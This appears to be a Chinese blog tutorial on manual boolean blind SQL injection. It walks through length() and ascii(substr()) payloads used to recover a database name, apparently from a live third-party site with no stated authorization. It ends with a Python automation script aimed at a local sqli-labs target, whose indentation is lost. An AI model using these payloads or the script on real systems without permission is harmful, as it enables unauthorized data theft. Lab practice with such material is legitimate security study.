BOOL盲注实战
前言
再一次SQL注入漏洞挖掘中,用工具测试给出的payload:1/**/and+3=5 ,对于这个payload一开始自己也不太清楚是什么意思,因为之前payload是直接可以跑出数据库相关信息,这个显然还不能够跑出相应的信息。在查阅资料和请教别人之后,知道了这其实是bool盲注,对于手动时间和布尔盲注我不是很擅长,大多时候都是使用工具辅助,但是今天我还是要实战一波手动对目标进行bool盲注。
bool盲注主要是依靠请求返回的界面存在不同状态或者结果,然后根据相应的payload来猜测数据库信息,如数据库的长度,数据库的名称等。猜测过程一直重复测试,要求不是很高。
主要使用函数:
length() 返回字符串的长度
substr() 截取字符串,参数:string、start、length
ascii() 返回字符的ascii码
sleep(n)将程序挂起一段时间 ,n为n秒
实战注入
这是一个站点相关的信息,正常访问就是这样。

payload如下: 这个payload,and后面的+在post请求中是空格的意思,把+换成空格不影响。

这个是在post请求当中,添加payload的,我这这里使用HacKBar进行测试(在burpsuite中同样也可以进行测试)。and 3=5 就是and false ,可以看到false的时候页面返回少量资源,并且没什么价值。

将payload换一换,设置成 and 3=3(and true )

页面返回了大量的资源,不过暂时没办法直接利用。 and false 和 and true 让页面返回了不一样的信息,这样我们就可以对数据库信息进行盲注(猜测)。
对数据库的名称长度进行猜测
payload:and length(database())>10

EXECUTE之后,返回这个界面说明 and true 就是说明数据库名称长度是大于10的,然后再将数字慢慢加大,根据页面的返回资源判断长度。
payload:and length(database())>11
加大数字之后页面返回的资源变少,说明 and false,就是长度大于11是假的。

经过这两次判断,说明数据库名称的长度就是11。验证一下:
payload:and length(database())=11

确实是这样。到这里完成第一步,测试出来数据库名称的长度。
对数据库名称进行猜测,这里对返回字符的ascii码进行判断,根据ascii码表查找到相应的字符,最后就可以得到完整的字符串。
猜当前数据库第一个字符:
payload:ascii(substr(database(),1,1))>114

这里可以采用二分法进行测试,然后就慢慢的测试出才相应的字符,测试出了第一个字符的ascii码为100,对应字母 d。

猜当前数据库第二个字符: 只要修改一下payload,就可以猜测后面的字符。
payload:ascii(substr(database(),2,1))>100

经过多次测试,测试出了第二个字符的ascii码为97,对应字母 a

就这样一个个的往上加就可以全部测试出来。 最后猜出数据库完整名称 data100_icp,长度刚好是11。
总结
整个过程就是猜测数据较为繁琐,其实我们只要使用对方法,也能够快速的猜测出相对应的字符。主要有下面几个技巧。
- 使用二分法可以提高速度,先用大于号(>)判断范围
- 数据库的名称长度一般不会特别长,基本就在20个字符以内。
- 对于数据库的名称,大多数是小写字母和数字组成。数字ascii码对应范围48~57。小写字母ascii对应范围97~122。
对于这种重复性操作,最好的办法就是使用脚本,让脚本自动跑,根据返回信息的不同,设置特征字符作为判断的条件。
扩展
这里给出SQL注入练习靶场sqli-labs-master,一个bool盲注GET请求的脚本。
import requests
def database_len():
for i in range(1,10):
url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
payload = '''?id=1' and length(database())>%s''' %i
# print(url+payload+'%23')
r = requests.get(url+payload+'%23')
if 'You are in' in r.text:
print(i)
else:
#print('false')
print('database_length:',i)
break
database_len()
def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i
print(name)
break
print('database_name:',name)
database_name()

浙公网安备 33010602011771号